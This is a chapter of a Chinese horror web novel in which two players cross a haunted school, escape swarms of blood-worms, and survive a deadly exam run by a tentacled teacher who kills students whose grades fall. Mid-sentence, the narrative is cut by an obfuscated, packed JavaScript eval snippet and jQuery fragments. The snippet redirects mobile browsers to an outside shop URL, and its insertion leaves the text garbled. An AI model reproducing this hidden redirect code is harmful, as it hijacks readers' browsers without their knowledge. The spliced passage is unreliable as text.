教学楼一共四栋，分别标注着A、B、C、D，每栋四层，皆是“回”字型建筑。四栋建筑并排建在一起，外墙刷着崭新的红漆，建筑之间每层都有连廊将四栋建学楼链接在一起。


    教学楼一楼是回廊镂空式建筑，四面建有教室，四角皆有入口能进入回廊，正中心回廊外侧是一大片水泥空地。


    A栋建筑离操场最近，正好在操场左上方的位置。沈念羽和青青晚照猫着腰从灌木丛里挪动到A栋东南角的入口，趁着周围没有屠夫，立马从入口处跑进A栋教学楼。


    二人一进教学楼，教学楼里的景象立马发生翻天覆地的变化，雪白崭新的墙面变得老旧昏黄，到处是脱落发黑的墙面。原本发亮的白瓷地面变成满是颗粒，灰黑而油腻的水泥地。


    陈旧教室前后的门窗是生锈的铁门，透过脏兮兮的窗面能看到教室里面腐烂的木桌椅和满是血手印的黑板。整个教学楼黑洞洞的，老式发旧，寂静万分。


    青青晚照躲在沈念羽身后，问道：“什……什么情况？”


    沈念羽环视了一圈灰暗而肮脏的教学楼，天空压得很暗，所有教室门窗紧闭，关着灯，也没有人，只有四楼正对着楼梯的一间教室里面亮着灯，磨砂玻璃纸后面能看到影影绰绰的人影。


    单栋教学楼里共两个楼梯，东面一个，西面一个，东面的楼梯正好就在沈念羽身侧。


    “上楼。”她朝青青晚照道。


    青青晚照挪到沈念羽身前：“我先验一下……可以走。”


    沈念羽让青青晚照先走，她跟在青青晚照后面。楼梯间狭窄而昏暗，扶手是发白的腐木，看上去摇摇欲坠，楼梯又高又窄，需要跨很大的步子才能上去。


    楼梯间拐角处的墙面上，镶嵌着一面大概有两米高的镜子。镜子上用红色的笔写满了各种各样的话。


    “啊啊啊啊好想死！”


    “去死吧！都去死吧！”


    “今天他又让我去他办公室呢，好想杀了他！”


    “放过我，求求你了，放过我吧！”


    沈念羽立马上前，捂住了青青晚照的眼睛。


    镜子里蓦然出现一道鬼影，是一个穿着校服的女孩。她没有瞳孔，只有空洞的眼白，身上抱着一只被捅破的布偶熊，浑身上下沾满粘稠的，蠕动着的血迹，像是数不清的红色蠕虫。


    女孩身上的校服，跟徐佳身上的一模一样。


    “嘿嘿——”


    “去死吧～”


    女孩突然开口，用俏皮而清脆的声音轻笑。


    她身上的蠕虫状血液突然爬动起来，齐齐向沈念羽看来。


    “窸窸窣窣”


    还真是虫子！


    沈念羽拉住青青晚照的手臂，猛然向楼梯上方跑去：“别回头！”


    身后的红色蠕虫瞬间钻出镜面，沿着墙面和地板快速向沈念羽和青青晚照爬来。沈念羽跑上二楼，抬头看到二楼到三楼的楼梯间里布满蠕虫，个头比身后的蠕虫更大些，正在齐齐抬头看向沈念羽。


    青青晚照抿嘴，抑制住快要溢出喉咙的尖叫声。


    沈念羽果断拉着青青晚照跑出楼梯间，朝教学楼走廊里跑去。沈念羽穿过灰败的走廊跑到西侧的楼梯，跨步跃上西侧楼梯继续往楼上跑去。身后的蠕虫汇聚成河，黏糊糊地挤压而来，速度越来越快。


    沈念羽飞奔上三楼，三楼楼梯正对着的墙面上是一张巨大的高三年级月考成绩排行榜。排行榜泛黄破旧，半张纸页已经从墙面上脱落下来，但是沈念羽还是一眼就看到排行榜上高三年级第一名的名字。


    徐佳。


    沈念羽脚步慢了片刻，目光快速在排行榜上扫过


    第一名：徐佳，701分。


    第二名：陆晴，655分。


    第三名：方小涵，650分。


    ……


    第617名：沈念羽，554分。


    好好好，还是倒数第一名人设。


    身后蠕虫越来越近，青青晚照已经越过沈念羽。她见沈念羽放慢了步子，连忙回头抓住沈念羽的手继续往上跑：“皇冠，怎么了？”


    “你真名叫什么？”沈念羽连忙问道。


    青青晚照愣了一下，虽然不知道沈念羽为什么这么问，还是如实回答：“陆晴！”


    沈念羽被青青晚照拉着跑过三楼排行榜处，眼见着青青晚照的腿就要踏上四楼，楼梯间里忽然起了阵风。


    风是迎面平行而来的，风场不对！


    沈念羽手下用力把青青晚照拉回到三楼，回身向三楼走廊里跑去。


    “我们不是要去四楼吗？”青青晚照问。


    “我们已经在四楼了。”


    沈念羽话音刚落，周围的一切立马扭曲并发生变化。身后通往四楼的楼梯消失，取而代之的是一个围栏被打烂的缺口，而那间亮着灯的教室，就在前方不远处。


    青青晚照倒吸一口凉气，她刚刚要是再往前走一步，就会直接从四楼摔下去！


    沈念羽冲到教室外，拧着门把手用力打开教室正门，和青青晚照一同跨入教室内。身后的红色蠕虫挤满了走廊，但是无一例外地齐齐停在教室外，没有继续前进。


    教室内，灯火通明。


    座位被单个分开，学生们坐在桌子后面，低着头正在刷刷做题。监考老师是个身形高挑的女人，她坐在讲台桌上，看到沈念羽和青青晚照，不悦地拧紧了眉头，呵斥道：“这么重要的月考你们俩也能迟到？”


    沈念羽回头把门关上，将可怖的走廊隔绝在了门外。


    “对不起，老师。”


    监考老师站起来，指着沈念羽骂道：“尤其是你！上次考倒数第一还敢迟到！算了，赶紧坐下考试，还好第一门才刚刚开始考。”


    沈念羽连忙回答：“好的老师。”


    她回头向教室里看去，正好有两个空位。


    她拉着青青晚照往教室里走，轻轻在青青晚照耳边道：“你要考655分以上，加油。”


    陆晴：？


    沈念羽在贴着自己名字的座位前面坐下，陆晴的位置就在她的不远处。她低头看向桌面上一片空白的试卷和答题卡，试卷正上方写着——七校联考高三模拟月考国语卷。


    桌子的左上角放着准考证和文具，准考证上写着具体的考试时间。


    国语考试是第一门，8:00-10:30。


    沈念羽低头看向手腕上的手表，才七点出头。教室前面正上方挂着的钟表上，时间指向8:05。


    教室里的时间是独立的。


    沈念羽拿起桌上的笔，拉过试卷开始做题。试卷的内容就是高中考试的内容，但是像是重点高中的题目，内容又多又复杂。好在她对文字的感知很细腻，从小国语成绩就很好，因而做得还算顺畅。


    沈念羽边做题边思


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076624|194176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    考，监考老师刚刚说得是她上次考了倒数第一，那是不是说明，她只需要考到554分以上？


    不对。


    从操场的设置来看，关卡的奖励应该是好学生证加一件附加道具。


    怎么才算是好学生？


    她想要拿好学生证，就需要成绩大幅度上升。


    而如果成绩下降，就会成为坏学生，会受到惩罚。


    沈念羽抬头看向陆晴，陆晴正满脸愁容地写题。她想考554分容易，但陆晴考到655分可不容易。诡异降临后人类的智力水平一直在上涨，但智力上升不代表应试能力就上升了。


    除非陆晴高中的时候成绩特别好，不然根本不可能考到655分。


    沈念羽低头继续专心写题，她需要拿到好学生证和道具。


    至于陆晴，如果她考不到655分……


    那就只能对不起老师了。


    考试一门连着一门，中间没有休息时间，国语考完接下来就是数学和外语，接下来就是物理化学生物。


    题目难度很大，再加上这样连续考试，沈念羽考到后面也不禁两眼发黑，强撑着考完最后一门生物。


    考试结束铃响后，教室内的景象发生变化。教室内桌椅拥挤地挤在一起，桌上的书堆积成山，学生们坐在椅子上，脸上神情空洞而绝望。


    监考老师站在讲台桌上，手上拿着一张成绩单。陆晴就坐在沈念羽左上端，她绝望地回头看向沈念羽，沈念羽给了她一个眼神，让她别担心。


    监考老师看上去很愤怒。


    “赵磊，上次考621分，这次考611分！赵磊，你太让老师失望了，去死！去死去死！”监考老师说着，那张因愤怒而扭曲的脸瞬间裂开好几瓣，长长的腥黑触手从脑袋里迸发而出，勒住一个男生的脖子就把他拖到了教室门外。


    “不要，求你了老师，我下次会努力的。”赵磊大哭起来。


    沈念羽顺着老师的触手向外看去，男生被触手高高举起，直接从四楼扔了下去。


    触手慢慢缩回监考老师的脑袋，她的脸恢复正常，目光扫过成绩单，继续往下看去：“陆……”


    沈念羽生怕报到陆晴，连忙站起来举手道：“老师！我太渴望进步了！能不能先报我的成绩？”


    监考老师怒道：“一个一个来，你给我坐下！”


    沈念羽：“不行！我着急！”


    “真是麻烦……沈念羽，上次考554分，这次……咦？632分。”老师瞬间变脸，面庞上喜笑颜开。


    “哎呀，进步这么大啊？真是好孩子，快上来，老师有奖励给你！”


    沈念羽起身，走到监考老师面前。监考老师手上凭空出现一个铁盒子和一张好学生卡，她将好学生卡和铁盒子递给沈念羽，笑着说道：“真不错，下次继续努力。”


    “好的，谢谢老师。”沈念羽拿着好学生卡和铁盒子回到座位上。她将铁盒子塞到防刺服腰部的腰包里，再直接把好学生卡放到了斧子上。


    斧子瞬间升级，变得更轻更锋利了。


    老师继续报成绩：“陆晴，上次考655分这次考562分？退步这么大，去死去死！成绩退步了活着干什么？”


    老师的脸再次裂开，粗大的触手飞出，直朝陆晴而去。


    沈念羽手下握紧斧头，起身飞身上桌，飞跃向陆晴，抬起斧头朝着老师的触手砍去。